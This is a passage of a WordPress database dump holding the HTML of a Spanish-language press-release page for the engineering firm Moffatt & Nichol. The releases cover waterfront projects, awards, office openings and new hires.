17:40:59','',1399,'http://moffattnichol.com/spanish/1399-revision-24/',0,'revision','',0),(2828,1,'2014-06-03 20:56:28','2014-06-03 20:56:28','','Award_edit','','inherit','open','open','','award_edit','','','2014-06-03 20:56:28','2014-06-03 20:56:28','',0,'http://moffattnichol.com/spanish/wp-content/uploads/2014/06/Award_edit.jpg',0,'attachment','image/jpeg',0),(2829,1,'2014-05-21 23:40:12','2014-05-21 23:40:12','<div class=\"content_faq\">\r\n<h1>comunicados de prensa</h1>\r\n\r\n&nbsp;\r\n<div class=\"press-release-para\">\r\n<h3 id=\"31\">Ceremonia Inicial En The Wharf, En Southwest Waterfront</h3>\r\n<a href=\"http://moffattnichol.com/spanish/wp-content/uploads/2014/05/Sign.jpg\"><img title=\"\" src=\"http://moffattnichol.com/spanish/wp-content/uploads/2014/05/Sign.jpg\" alt=\"\" width=\"400\" height=\"300\" /></a>\r\n\r\nLong Beach, CA, mayo 2 de 2014 – El 19 de marzo, el Southwest Waterfront del distrito de Columbia marcó un significativo hito cuando- luego de ocho años de debida diligencia, planeación, diseño, permisos y rezonificación- el equipo Hoffman-Madison Waterfront Development inició obras en The Wharf. Como miembro clave del equipo, Moffatt & Nichol es responsable de la planeación, diseño, permisos, inspección, estimación de costos y evaluación financiera de todos los elementos de frente de mar del proyecto. La firma también está proporcionando los servicios de un ingeniero residente de especialidad marítima para ofrecer apoyo en la construcción para todas las instalaciones marítimas. Entre los oradores de la ceremonia estuvieron los desarrolladores y líderes de la ciudad, incluyendo el alcalde Vince Gray y miembros del Concejo de D.C. \r\n\r\nThe Wharf será un desarrollo costero de uso mixto con clase mundial de una milla de extensión, ubicado en el histórico Washington Channel, con un área de desarrollo que se extiende por 24 hectáreas de terreno y más de 50 hectáreas de agua. Una vez completado, The Wharf contará con3.2 millones de pies cuadrados de área residencial, oficinas, hoteles, venta al detal, áreas culturales, marina y espacios públicos incluyendo parques costeros, paseos, muelles y embarcaderos. La Fase 1 que se estima se complete en 2017 incluye 1.5 millones de pies cuadrados de desarrollo. Del lado marítimo habrá cuatro muelles de acceso público, un club de yates privado y una nueva marina pública con instalaciones para visitar a los navegantes. \r\n\r\nEl plan acuático desarrollado por Moffatt & Nichol genera una gran cantidad de actividades marítimas que harán del Southwest Waterfron un destino regional. Toda la actividad marítima se conecta a tierra a través de una serie de muelles programables los cuales sirven como una extensión de la red de la ciudad hacia el agua. Estos muelles activos se conectarán a una calle compartida o un “muelle” en el centro del sitio, conduciendo a los peatones más allá de la línea costera y uniendo los usos terrestres y marítimos en un entorno urbano lleno de vida las 24 horas. \r\n\r\n“Nuestra meta con este proyecto es facilitar una variedad de actividades marítimas y servicios de clase mundial para equiparar las actividades en el lado terrestre”, comentó Rob Sloop, Gerente de Proyecto de Moffatt & Nichol para The Wharf. “De esta manera, los residentes y los visitantes por igual quedarán maravillados con el ambiente energético y estimulante de Southwest Waterfront”.  \r\n</div>\r\n\r\n&nbsp;\r\n<div class=\"press-release-para\">\r\n<h3 id=\"30\">El Puerto De San Diego Mantiene Su Compromiso De Reducir Las Emisiones De Buques Con La Ayuda De Moffatt &amp; Nichol</h3>\r\n<a href=\"http://moffattnichol.com/spanish/wp-content/uploads/2014/05/photo.jpg\"><img title=\"\" src=\"http://moffattnichol.com/spanish/wp-content/uploads/2014/05/photo.jpg\" alt=\"\" width=\"400\" height=\"300\" /></a>\r\n\r\nSan Diego, CA, 30 de abril, 2014 – El Puerto de San Diego hizo un compromiso para reducir las  emisiones de buques para el año 2014  en Tenth Avenue Marine Terminal (TAMT), y cumplió esa promesa al encender la estación de energía en la costa el lunes 24 de febrero de 2014. Esta acción mejorará la calidad del aire y reducirá las emisiones de gases de efecto invernadero por encima de 50% al año, al permitir que buques cargueros “se conecten” en lugar de mantener encendidos sus propios motores a diésel mientras están en el puerto. Para colaborar en el logro de esta meta, Moffatt & Nichol llevó a cabo un detallado análisis del sistema eléctrico para maximizar el uso de los sistemas de conmutación y conductos existentes, y minimizar la longitud total de la excavación de zanjas que se requerían para los nuevos ductos.  Este diseño también incluye provisiones para una segunda futura subestación que proveerá energía a un segundo muelle, permitiendo que dos buques de contenedores refrigerados totalmente cargados (u otro tipo de buque) reciban energía desde la costa, simultáneamente. \r\n\r\n“Dedicación y trabajo en equipo entre el Puerto y Moffatt & Nichol fue lo que permitió el éxito de este proyecto” dijo Tyler Sparks, Ingeniero Eléctrico Senior y Gerente de Proyecto. “El equipo de ingeniería del puerto trabajó conjuntamente con el equipo de diseño de Moffatt & Nichol para diseñar, administrar la construcción y para lograr la puesta en marcha a tiempo y dentro del presupuesto. Estamos orgullosos de haber sido parte de este proyecto ambientalmente vanguardista.” \r\n</div>\r\n\r\n&nbsp;\r\n<div class=\"press-release-para\">\r\n<h3 id=\"29\">Proyecto De Nuevo Tramo De Puente Entre San Francisco Y La Bahia De Oakland Gana Galardón De Proyecto Del Año Del Distrito 9 De ASCE</h3>\r\n<a href=\"http://moffattnichol.com/spanish/wp-content/uploads/2014/05/ASCE-Project-of-the-Year-2.jpg\"><img title=\"\" src=\"http://moffattnichol.com/spanish/wp-content/uploads/2014/05/ASCE-Project-of-the-Year-2.jpg\" alt=\"\" width=\"400\" height=\"300\" /></a>\r\n\r\nWalnut Creek, CA, 28 de abril de 2014 – El Distrito 9 de la Sociedad Americana de Ingenieros Civiles (ASCE) realizó su premiación anual el viernes 14 de marzo y proclamó el proyecto “San Francisco-Oakland Bay Bridge New East Span” como el ganador de la categoría Proyecto del Año. Como parte de un consorcio, Moffatt & Nichol proporcionó servicios de diseño de ingeniería para el reemplazo del segmento dual de losa paralela de 2.2 millas, en la porción Este del puente, que conecta con Yerba Buena Island en el Oeste y con Oakland en el Este. \r\n\r\n“Al igual que cualquier otro proyecto público de alto perfil, el nuevo puente de Bay Bridge atrae el interés de mucha gente. Estoy orgulloso de que nuestro equipo se mantuviera positivo y enfocado en alcanzar la meta de seguridad sísmica. El público ahora cuenta con un hermoso y seguro puente que servirá a la comunidad por muchos años” dijo Scott Buckley, administrador de proyecto y gerente de contrato. En nombre del equipo de diseño conformado por Caltrans/T.Y.Lin/Moffatt & Nichol estamos agradecidos con esta prestigiosa distinción de parte de ASCE Distrito 9.”\r\n</div>\r\n\r\n&nbsp;\r\n<div class=\"press-release-para\">\r\n<h3 id=\"28\">Robin Dolan Se Une A Moffatt &amp; Nichol Como Nuevo Líder De Servicios Comerciales</h3>\r\n<a href=\"http://moffattnichol.com/spanish/wp-content/uploads/2014/05/Robin-Dolan-FINAL.jpg\"><img title=\"\" src=\"http://moffattnichol.com/spanish/wp-content/uploads/2014/05/Robin-Dolan-FINAL.jpg\" alt=\"\" width=\"250\" height=\"313\" /></a>\r\n\r\nNueva York, Estados Unidos y Londres, Reino Unido, marzo 25, 2014— Moffatt & Nichol se complace en anunciar que Robin Dolan se une a la firma como Líder de Servicios Comerciales. Los servicios comerciales internos de la firma están basados en nuestras oficinas en Nueva York y Londres e incluyen expertos en logística y en proyectos marítimos especializados en la evaluación,  análisis, adquisición y fusión de infraestructuras marítimas, sistemas intermodales de transporte y pronósticos de mercado e ingresos asociados con el movimiento de carga. \r\n\r\nLuego de trabajar para Royal Navy en la década de los 80, el Sr. Dolan ha trabajado en puestos de creciente responsabilidad en la industria portuaria, incluyendo varias posiciones con P&O Ports en Londres y Nueva Jersey, entre 1998 y 2007. Recientemente fue Vicepresidente de Desarrollo Corporativo para PortsAmerica en Ciudad Jersey, Nueva Jersey. \r\n \r\nEl Sr. Dolan es altamente calificado para la identificación, evaluación, negociación y desarrollo de proyectos de terminales marítimas. Ha creado visiones de crecimiento estratégico para varias organizaciones y ha dirigido fusiones negociadas, adquisiciones, nuevos desarrollos y otros emprendimientos con organizaciones líderes en la industria marítima y portuaria. Posee también amplia experiencia en la ejecución y desarrollo de planes que conducen al crecimiento de organizaciones y marcan el camino para la rentabilidad continua y sostenible. \r\n</div>\r\n\r\n&nbsp;\r\n<div class=\"press-release-para\">\r\n<h3 id=\"27\">Moffatt &amp; Nichol Presenta A Marcos Vendramini Como Líder De Unidad Negocios Para La Oficina De Brasil</h3>\r\n<a href=\"http://moffattnichol.com/spanish/wp-content/uploads/2014/05/Marcos-Vendramini-FINAL.jpg\"><img title=\"\" src=\"http://moffattnichol.com/spanish/wp-content/uploads/2014/05/Marcos-Vendramini-FINAL.jpg\" alt=\"\" width=\"250\" height=\"313\" /></a>\r\n\r\nRío de Janeiro, Brasil, marzo 24, 2014— Moffatt & Nichol se complace en anunciar que Marcos Vendramini se une a nuestra oficina en Río de Janeiro, Brasil, como nuevo Líder de Unidad de Negocios. El Sr. Vendramini tiene más de 29 años de experiencia en proyectos de infraestructura de transporte, principalmente en puertos, ferrocarriles y aeropuertos. Su amplio portafolio de experiencia en Brasil y en los países vecinos incluye a varios de los actuales clientes de Moffatt & Nichol y también clientes en prospecto. El Sr. Vendramini también tiene considerable práctica en la operación de oficinas, administración de proyectos, negocios, planeación estratégica y manejo de cuentas de clientes. Recientemente fue Director para los puertos y negocios marítimos de AECOM. \r\n\r\n“Marcos está preparado para continuar la iniciativa que nació en Brasil un par de años atrás”, dijo Eric Nichol, Presidente de Moffatt & Nichol. “Su amplia trayectoria en la industria será un activo para nuestro equipo y nuestros clientes a medida que crecemos dentro del mercado brasileño”.\r\n\r\nEl Sr. Vendramini posee registro CREA en Brasil y obtuvo su Licenciatura en Ingeniería Mecánica Industrial de la Universidad Universidade Metodista de Piracicaba en Brasil y su Maestría en Planeación, Diseño y Administración de Sistemas Aeroportuarios en el Massachusetts Institute of Technology.\r\n</div>\r\n\r\n&nbsp;\r\n<div class=\"press-release-para\">\r\n<h3 id=\"26\">Moffatt &amp; Nichol Da La Bienvenida Paul Wallis Como Ingeniero Estructural Senior</h3>\r\n<a href=\"http://moffattnichol.com/spanish/wp-content/uploads/2014/04/Paul-Wallis.jpg\"><img title=\"\" src=\"http://moffattnichol.com/spanish/wp-content/uploads/2014/04/Paul-Wallis.jpg\" alt=\"\" width=\"250\" height=\"313\" /></a>\r\n\r\nANCHORAGE, AK, Marzo 20, 2014 – Moffatt & Nichol se complace en anunciar la incorporación de Paul Wallis, PE, SE, MLSCE al equipo de la oficina de Anchorage como ingeniero estructural Senior. Con más de 16 años de experiencia en diseño estructural y análisis de edificaciones nuevas y existentes, posee amplia experiencia en diseño y análisis de alta sismicidad y vientos fuertes  y proyectos de ingeniería en el Ártico, sub Ártico y Antártico. El Sr. Wallis será un valioso activo para el equipo de Moffatt & Nichol Anchorage, donde dirigirá proyectos a medida que la firma continua su crecimiento en el área. \r\n\r\nEl Sr. Wallis también aporta una sólida comprensión de administración de proyectos para una variedad de estudios. Esto incluye la investigación y diseño de instalaciones marítimas nuevas y existentes, construcciones verticales que van desde bodegas, hangares y oficinas en general, hasta una variedad de instalaciones industriales y militares e instalaciones para patios de gas y petróleo. Los clientes para los trabajos en los que el Sr. Willis ha participado van desde municipios, la Guardia Nacional del Ejército de los Estados Unidos, la Fuerza Aérea de los Estados Unidos, El Cuerpo de Ingenieros de los Estados Unidos, y la Fundación Nacional de Ciencias. \r\n\r\nEl Sr. Willis es un ingeniero estructural egresado de la Universidad de Alaska, Fairbanks, y posee registro de Ingeniero Profesional e Ingeniero Estructural.  También es miembro de la Junta Nacional de Inspectores para certificaciones de ingeniería y estudios para MLSE, es miembro activo de la Asociación de Ingenieros Estructurales de Alaska (SEAAK) y del Consejo de Profesionales de Diseño de Alaska (APDC), y es actualmente presidente para ambas agrupaciones. Otras afiliaciones profesionales incluyen el Instituto Americano de Construcción con Acero y la Sociedad Americana de Ingenieros Civiles. \r\n\r\n</div>\r\n&nbsp;\r\n<div class=\"press-release-para\">\r\n<h3 id=\"25\">Moffatt &amp; Nichol Da La Bienvenida A Jerry L. Neal, Como Ingeniero Senior Y Estimador De Costos</h3>\r\n<a href=\"http://moffattnichol.com/spanish/wp-content/uploads/2014/02/Jerry-Neal_052412_DutraGroup.jpg\"><img title=\"\" src=\"http://moffattnichol.com/spanish/wp-content/uploads/2014/02/Jerry-Neal_052412_DutraGroup.jpg\" alt=\"\" width=\"250\" height=\"313\" /></a>\r\n\r\nWALNUT CREEK, CA, 20 de febrero de 2014 – Moffatt & Nichol se complace en anunciar la integración de Jerry L. Neal a la oficina de la firma en Walnut Creek. Con más de 37 años de experiencia en importantes proyectos de construcción de ingeniería civil y marítimos, tanto nacionales como fuera del país, funcionará como Ingeniero Senior y como estimador de costos para Moffatt & Nichol.  \r\n\r\nAntes de Moffatt & Nichol, el señor Neal fue el jefe estimador de costos para The Dutra Group, durante 11 años. Bajo su cargo manejó un equipo de estimadores, ingenieros, personal de administración de contratos e ingenieros de costos. \r\n\r\nEl Sr. Neal se integra con un sólido conocimiento de gerencia y estimación de costos en una variedad de proyectos, incluyendo puertos, presas y diques, plantas eléctricas y minas. Sus proyectos pasados de particular interés incluyen la Marina Cabrillo Way del Puerto de Los Ángeles, la cual fue diseñada por Moffatt & Nichol y para la cual la firma ofreció servicios de adquisición de permisos y apoyo en la construcción. El Sr. Neal también trabajó en el Puerto de Oakland, Fase 3E profundización a -50 pies; Muelle 102 para el Puerto de Los Ángeles; dragado anual de mantenimiento para el Puerto de Anchorage y varios otros proyectos de rehabilitación y fortalecimiento de diques  en el Delta de California. \r\n\r\nIngeniero Registrado, el Sr. Neal recibió su diploma de Licenciatura en Ingeniería Civil del South Dakota School of Mines and Technology. También posee un título de Maestría en Administración Estratégica de Negocios, del California State University, East Bay. \r\n</div>\r\n\r\n&nbsp;\r\n<div class=\"press-release-para\">\r\n<h3 id=\"24\">David W. Huchel Se Une A Moffatt &amp; Nichol Como Asesor General</h3>\r\n<a href=\"http://moffattnichol.com/spanish/wp-content/uploads/2014/02/David-Huchel-Original.jpg\"><img title=\"\" src=\"http://moffattnichol.com/spanish/wp-content/uploads/2014/02/David-Huchel-Original.jpg\" alt=\"\" width=\"250\" height=\"350\" /></a>\r\n\r\nLONG BEACH, CA, 14 de febrero de 2014 – David Huchel se une a Moffatt & Nichol como Asesor General para la firma. Aporta más de 23 años de experiencia en legislación de construcción, litigios civiles, resolución de conflictos y mediación.  La carrera del Sr. Huchel se ha enfocado en apoyar clientes en la industria de la arquitectura, ingeniería y construcción. \r\n\r\n“Me llama la atención la tradición de excelencia de Moffatt & Nichol y su fuerte reputación en la industria”, comentó sobre su incorporación a la firma. “En el pasado, he trabajado con Moffatt & Nichol en la formación de equipos y otros acuerdos. Siempre me ha impresionado la solidez técnica y profesional de Moffatt & Nichol”. \r\n\r\nPrevio a Moffatt & Nichol, el Sr. Huchel trabajó para AECOM, donde fue Vicepresidente y Gerente Asesor de los grupos marítimos de la región oeste y América del Norte. Anteriormente fue el Asesor General y Secretario Corporativo para Boyle Engineering Corporation y fue Director de Boyle Holding Corporation, antes de que la firma fuera adquirida por AECOM. Con Boyle y AECOM apoyó la línea de negocios de servicios acuáticos y transporte, trabajando en una variedad de proyectos portuarios, de humedales y de frente de mar.  La práctica privada del Sr. Huchel en litigios civiles incluye seis años con Ford, Walker, Haggerty & Behar, para la oficina de la firma en Long Beach, California.\r\n\r\nFue admitido en la Asociación de Abogados de California en 1990, luego de obtener su diploma de Juris Doctor de University of the Pacific, McGeorge School of Law. El Sr. Huchel es miembro de la Asociación de Abogados Americanos, Asociación de Abogados de Los Ángeles, Asociación de Abogados del Condado de Orange y la Asociación de Asesores Corporativos. \r\n</div>\r\n\r\n&nbsp;\r\n<div class=\"press-release-para\">\r\n<h3 id=\"23\">Moffatt &amp; Nichol Anuncia Al Ingeniero Eric Burke Como Nuevo Líder De Unidad De Negocio Para La Oficina De Richmond</h3>\r\n<a href=\"http://moffattnichol.com/spanish/wp-content/uploads/2014/02/C.-Eric-Burke_MN.jpg\"><img title=\"\" src=\"http://moffattnichol.com/spanish/wp-content/uploads/2014/02/C.-Eric-Burke_MN.jpg\" alt=\"\" width=\"250\" height=\"374\" /></a>\r\n\r\nRICHMOND, VA, febrero 4, 2014—Moffatt & Nichol se complace en anunciar que el ingeniero Eric Burke, se une a nuestra firma como Líder de Unidad de Negocio para la oficina de Richmond. El Sr. Burke obtuvo su título de licenciatura y su maestría en Virginia Polytechnic Institute y cuenta con más de 20 años de experiencia en ingeniería civil y proyectos de transporte. Además, trae a la firma una probada trayectoria de exitoso manejo de operaciones multidisciplinarias de ingeniería y ambiente en Virginia, Carolina del Norte y Carolina del Sur. \r\n\r\nLa oficina de Richmond  de Moffatt & Nichol ha crecido 50 por ciento en los dos últimos años. El Sr. Burke será un valioso activo para el equipo de la oficina de Richmond donde estará a cargo de liderar el grupo de ingenieros profesionales y gerentes de proyectos, al tiempo que la firma continuará creciendo y expandiendo sus capacidades en la práctica de transporte hacia la región centro-atlántica de los Estados Unidos. \r\n\r\nA través de su carrera, el Sr. Burke ha estado relacionado con el diseño y construcción de proyectos en el este de los Estados Unidos. Trae a Moffatt & Nichol un amplio espectro de conocimientos y de manejo de proyectos de transporte gracias a su experiencia trabajando y administrando varios aspectos del diseño de transporte, planeación ambiental y permisos. También ha manejado varios contratos multianuales “on-call” para Federal Highway Administration, South Carolina Department of Transportation, la ciudad de Richmond y otras entidades públicas. \r\n\r\n“La vasta pericia técnica y administrativa de Eric se ajusta perfectamente con nuestra oficina de Richmond”, comentó el ingeniero Eric Nichol, presidente de Moffatt & Nichol. “Estamos complacidos que se haya unido a nuestro equipo de líderes para seguir proporcionando valor a nuestros clientes en el área”. \r\n</div>\r\n\r\n&nbsp;\r\n<div class=\"press-release-para\">\r\n<h3 id=\"22\">Kevin Rai Se Une A Moffatt &amp; Nichol Como Ingeniero Eléctrico Junior</h3>\r\n\r\nVANCOUVER CB, Canadá, enero 2014 - Moffatt & Nichol se complace en dar la bienvenida a Kevin Rai, para la posición de Ingeniero Eléctrico Junior en nuestra oficina de Vancouver. El Sr. Rai trabajó como técnico y diseñador eléctrico en los últimos años mientras completaba sus estudios en el Instituto de Tecnología de Columbia Británica. En marzo obtendrá el título de  Licenciatura en Tecnología en Ingeniería Eléctrica.\r\n\r\nPara el Sr. Rai, obtener esta posición en Moffatt & Nichol es solamente el comienzo. “El cielo es el límite con Moffatt & Nichol”,  comentó. “Estoy interesado en aprender de los diversos grupos de profesionales de la firma, de interactuar con clientes al tiempo que optimizo mi nivel de conocimiento y logro la experiencia requerida para obtener mi licencia profesional en ingeniería en la provincia de Columbia Británica y el estado de Washington”. \r\n\r\nEl Sr. Rai tiene experiencia directa trabajando con diseños eléctricos para clientes en la industria minera, pero transferirá sus destrezas a las áreas de práctica de Moffatt & Nichol, incluyendo energía, puertos, muelles y terminales marítimas. Sus servicios más frecuentes incluyen la preparación de planos, diseños, cálculos y estimaciones de costos para ingeniería convencional, investigación y desarrollo de tareas.\r\n\r\n“Estoy emocionado de utilizar mis conocimientos para contribuir con el crecimiento  y éxito del equipo de Moffatt & Nichol”, comentó el Sr. Rai. “Quiero agradecer al personal por recibirme a bordo con gran profesionalismo y actitud positiva. Espero poder trabajar y conocerlos a todos”. \r\n</div>\r\n&nbsp;\r\n<div class=\"press-release-para\">\r\n<h3 id=\"21\">Moffatt &amp; Nichol Se Destaca Con Una Mención Honorífica En La Competencia De Diseño “Por Un Rockaway Revivificado” (FAR ROC) En New York</h3>\r\n<a href=\"http://moffattnichol.com/spanish/wp-content/uploads/2013/12/FAROC-cap.jpg\"><img title=\"\" src=\"http://moffattnichol.com/spanish/wp-content/uploads/2013/12/FAROC-cap.jpg\" alt=\"\" width=\"500\" height=\"374\" /></a>\r\n\r\nLONG EACH, CA. Diciembre 17, 2013 – Como parte de un equipo, Moffatt & Nichol recientemente obtuvo la mención honorífica en la competencia internacional de diseño FAR ROC, con su plan de renovación de 80 acres en Arverne East en Rockaway, un comunidad costera fuertemente golpeada por la super tormenta Sandy más de un año atrás. \r\n\r\nMoffatt & Nichol fue el líder de la ingeniería costera para un equipo de 17 miembros dirigidos por Mithūn - sede en Seattle, Washington. La propuesta del equipo ofreció siete pasos para un sitio flexible y sostenible, que en el futuro sea capaz de resistir cualquier devastador desastre natural como lo fue Sandy. La idea comenzó con rodear el actual patrón de la tierra; expandir las fronteras; elevar las zonas de desarrollo; extender la infraestructura en fases completas; dotar de un distrito maestro; mejorar y reavivar la comunidad existente y preparar para cambios a largo plazo. \r\n\r\nLas comunidades costeras como Arverne East sufrieron algunos de los peores daños por la tormenta Sandy. Sin embargo, comunidades costeras cercanas como Arverne by the Sea se mantuvieron bastante bien gracias a drenajes pluviales mejorados, sitios elevados e infraestructuras fuertes, lecciones que Moffatt & Nichol incorporó en el plan a largo plazo para la costa de Arverne East. La propuesta incluyó la ampliación de la playa, veredas, mejoramiento de dunas, una explanada elevada y una forma urbana convexa. \r\n\r\n“Este esfuerzo fue único en el sentido de que el equipo desarrolló un plan creativo que consideró las incertidumbres para las futuras elevaciones del nivel del mar, aumento de la frecuencia de las tormentas y aumento de la densidad urbana en una solución práctica que es viable, financiable, y asegurable”, dijo Robert Sloop, Gerente de Proyecto Costero para el equipo de Moffatt & Nichol. La propuesta de diseño fue seleccionada entre 117 opciones de más de 20 países. \r\n</div>\r\n&nbsp;\r\n<div class=\"press-release-para\">\r\n<h3 id=\"20\">Moffatt &amp; Nichol Recibe Premio ACEC/NC Award Por Diseño De Sistemas De Manejo De Aguas Pluviales De La Whalehead Subdivision</h3>\r\n<a href=\"http://moffattnichol.com/spanish/wp-content/uploads/2013/12/ACEC.jpg\"><img title=\"\" src=\"http://moffattnichol.com/spanish/wp-content/uploads/2013/12/ACEC.jpg\" alt=\"\" width=\"500\" height=\"400\" /></a>\r\n\r\nRALEIGH, NC, Diciembre 16, 2013 – Moffatt & Nichol recibió el Premio Honorífico por Excelencia en la Ingeniería en la categoría agua / y aguas residuales por el diseño del sistema de manejo de agua residual de Whalehead Subdivision en el Condado de Currituck, Carolina del Norte, premio otorgado por el American Council of Engineering Companies, Carolina del Norte (ACEC/NC).\r\n\r\nMoffatt & Nichol proporcionó el diseño preliminar y final, documentos de construcción y administración limitada de la construcción, para el desarrollo en fases de un sistema de disminución del nivel freático. El sistema consiste en el bombeo de las aguas infiltradas a través de tuberías que llegan a las lagunas de bioretención, que posteriormente fluyen hacia Currituck Sound. Este estudio implicó la planeación maestra de las aguas pluviales, reemplazando las calles existentes con veredas y cuencas de bioretención con vegetación propia del lugar. También incluyó la instalación de tuberías de drenaje debajo de las cuencas y el bombeo de agua desde las tuberías de drenaje hacia una red de tuberías de impulsión que conducían hacia lagunas adyacentes a Currituck Sound.  \r\n\r\n“Moffatt & Nichol se siente honrado en haber contribuido con este proyecto dirigido a la comunidad”, dijo Timothy Reid, Vice Presidente de Moffatt & Nichol. “Estamos orgullosos de haber sido socios del Condado de Currituck y de los residentes de Whalehead en este innovador sistema de infiltración y bombeo,  uno de los primeros en su clase en Carolina del Norte. Este reconocimiento de ACEC/NC es un verdadero honor”. \r\n\r\nLa comunidad se beneficia con este proyecto primero a través de la reducción de las frecuentes y molestas inundaciones y la eliminación de inundaciones de larga duración después de fuertes lluvias. La remoción y reemplazo de la calle con veredas y áreas naturales también sirvió para embellecer y proveer una solución ecológica. La comunidad ha acogido el sistema que ofrece acceso público al mar y que también es una atracción, en lugar de una solución convencional.\r\n\r\nEl sistema se ha desempeñado bien durante varios huracanes y temporales del noreste y los residentes están listos para recibir las fases adicionales, comentó  Eric Weatherly, ingeniero de Currituck County. \r\n</div>\r\n&nbsp;\r\n<div class=\"press-release-para\">\r\n<h3 id=\"19\">Moffatt &amp; Nichol Abre Nuevas Oficinas En El Centro De New Orleans</h3>\r\n\r\nNEW ORLEANS, LA. Diciembre 12, 2013 – Moffatt & Nichol recientemente abrió una nueva oficina en el Pan American Building en el centro de New Orleans. Como complemento a la actual oficina de la firma en Baton Rouge, la integración de New Orleans constituye la trigésima oficina para esta firma internacional de ingeniería.\r\n\r\nBajo el liderazgo de Jonathan Hird con el cargo de Líder de Unidad de Negocios y Vicepresidente Asociado, los servicios profesionales de la firma en Luisiana se expanden de servicios de ingeniería costera a puertos intermodales, terminales marítimas, manejo de graneles, inspección y rehabilitación.  La firma ha tenido presencia en Luisiana desde 2001.\r\n\r\n“A través de contrataciones estratégicas y transferencias internas clave, nuestro equipo laboral de Luisiana ha crecido para incluir ingenieros costeros, civiles, hidráulicos, estructurales y mecánicos altamente capacitados y estamos creciendo rápido”, comentó el Sr. Hird. Estamos orgullosos de continuar sirviendo nuestros clientes locales con esta capacidad ampliada. \r\n\r\nUbicado en la ribera del río Mississippi, New Orleans es un centro de transporte crucial y un centro de distribución para el comercio que se mueve por agua. La nueva oficina servirá como instalación clave para suplir las necesidades de los clientes de Moffatt & Nichol localmente y a nivel mundial. \r\n\r\n</div>\r\n&nbsp;\r\n<div class=\"press-release-para\">\r\n<h3 id=\"18\">PhD Gerald McCrain se integra a Moffatt & Nichol como especialista ambiental Senior</h3>\r\n<a href=\"http://moffattnichol.com/spanish/wp-content/uploads/2013/12/Gerald.jpg\"><img title=\"Gerald McCrain\" src=\"http://moffattnichol.com/spanish/wp-content/uploads/2013/12/Gerald.jpg\" alt=\"\" width=\"130\" height=\"182\" /></a>\r\nRaleigh, Carolina del Norte. Diciembre 5, 2013 – Moffatt & Nichol le da la bienvenida a Jerry McCrain, para ejercer el cargo de especialista ambiental senior en nuestras oficinas de Raleigh. El doctor McCrain aporta más de 38 años de continua y progresiva experiencia en el campo, al igual que su pasión por el manejo ambiental. Ha colaborado con la planeación y manejo de importantes proyectos ambientales para el Departamento de Transporte de Carolina del Norte, al igual que para oficinas federales, del estado y agencias locales, aportando su experiencia a numerosos análisis de cuencas, humedales y estudios ambientales. También ha trabajado extensamente con el Triangle Transit Authority, con la Agencia de Protección del Ambiente y con el Programa de Mejoras al Ecosistema de Carolina del Norte. \r\n\r\nSus servicios ambientales más frecuentes para proyectos de transporte han incluido administración de proyectos, planeación estratégica, procesos y cumplimientos de regulaciones ambientales tales como el National Environmental Policy Act (NEPA), adquisición y cumplimiento de permisos, apoyo y asistencia a políticas y programas, evaluación funcional, evaluación de sitio, estudios de comunidad (humedales y terrestres), delineación, restauración y mitigación, y coordinación con agencias federales, estatales y locales. \r\n\r\nEl Dr. McCrain se describe como un facilitador en procesos en los que existen fuertes opiniones en ambos lados. “Creo en hacer las cosas de la manera correcta sin comprometer otros aspectos de nuestra vida”, comentó. “Debe haber un enfoque de “amplio espectro” para integrar la ciencia y la ingeniería. Moffatt & Nichol comparte esta visión y estoy orgulloso de sumarme a este equipo”.\r\n\r\nEl Dr. McCrain obtuvo su título de Maestría en Ciencias Botánicas en North Carolina State University (NCSU). También posee un doctorado en Manejo de Recursos del NCSU. Sus afiliaciones profesionales incluyen la Sociedad de Científicos de Humedales, la Academia de Profesionales Ambientales Certificados y la Sociedad de Investigación Científica Sigma Xi.\r\n</div>\r\n&nbsp;\r\n<div class=\"press-release-para\">\r\n<h3 id=\"17\">Kerry Simpson se une a Moffatt &amp; Nichol</h3>\r\n<a href=\"http://moffattnichol.com/spanish/wp-content/uploads/2013/12/kerrysimpson.jpg\"><img title=\"Kerry Simpson\" src=\"http://moffattnichol.com/spanish/wp-content/uploads/2013/12/kerrysimpson.jpg\" alt=\"\" width=\"154\" height=\"214\" /></a>\r\nLONG BEACH, CA, Diciembre 3, 2013 – Moffatt & Nichol se complace en anunciar que el ingeniero Kerry Simpson se une a nuestra firma como miembro clave para la práctica de terminales marítimas. El Sr. Simpson tiene más de 23 años de experiencia enfocada en la planeación, análisis y diseño de terminales portuarias, incluyendo terminales ferroviarias y de contenedores. Ha trabajado extensamente con autoridades portuarias, compañías navieras, operadores de terminales, compañías ferroviarias y proveedores de equipos y sistemas. Su experiencia abarca desde planeación conceptual hasta la culminación de la construcción y ha realizado análisis y planeación para numerosas terminales de contenedores, incluyendo patios de almacenaje, patios de ferrocarril intermodal, garitas, edificios y seguridad en sitio. Ha estado involucrado en la planeación y diseño de numerosas terminales con un rendimiento anual superior a los 2,000,000 de TEUs y posee amplios conocimientos en diseño, diversos modos operativos para terminales y todo tipo de equipo para manejo de contenedores. \r\n\r\n“La amplia y profunda experiencia de Kerry en planeación portuaria, análisis y diseño es una valiosa adición a nuestras capacidades integradas” comentó Richard Steinke, líder de la práctica de terminales marítimas para Moffatt & Nichol. “Estamos contentos de tenerlo a bordo para proveer apoyo a nuestros clientes a nivel mundial”.\r\n\r\nEl señor Simpson obtuvo su título de maestría en Ingeniería Civil en California State University y su título de licenciatura en Ciencias Oceanográficas en Humbold State University. Es también miembro activo de Sociedad Americana de Ingenieros Civiles.\r\n\r\nSobre su transición a Moffatt & Nichol, el Sr. Simpson comentó: “esta es una gran oportunidad de participar en los futuros emprendimientos de Moffatt & Nichol y de continuar desarrollando puertos de primera clase alrededor del mundo. Estoy orgulloso de sumarme a este equipo”. \r\n\r\n</div>\r\n&nbsp;\r\n<div class=\"press-release-para\">\r\n<h3 id=\"16\">Moffatt & Nichol da la bienvenida a Olie Abbamonto como Directora de Finanzas</h3>\r\n<a href=\"http://www.moffattnichol.com/wp-content/uploads/2013/11/Olie-Abbamonto_Headshot.jpg\"><img title=\"Olie Abbamonto\" src=\"http://www.moffattnichol.com/wp-content/uploads/2013/11/Olie-Abbamonto_Headshot.jpg\" alt=\"\" width=\"200\" height=\"280\" /></a>\r\nLONG BEACH, CA, noviembre 12, 2013 – Moffatt & Nichol se complace en anunciar que Olie Abbamonto se une a la firma como Directora de Finanzas. La señora Abbamonto posee más de 20 años de experiencia en manejo financiero, planificación estratégica y contabilidad con firmas internacionales, con experiencia en implementación de Six Sigma. \r\n\r\nEn su papel como Directora de Finanzas, la señora  Abbamonto se encargará de supervisar las responsabilidades del día a día de la planificación, implementación, administración y control de todas las actividades financieras de la empresa. Previo a su integro a Moffatt & Nichol, la señora Abbamonto fue Vice 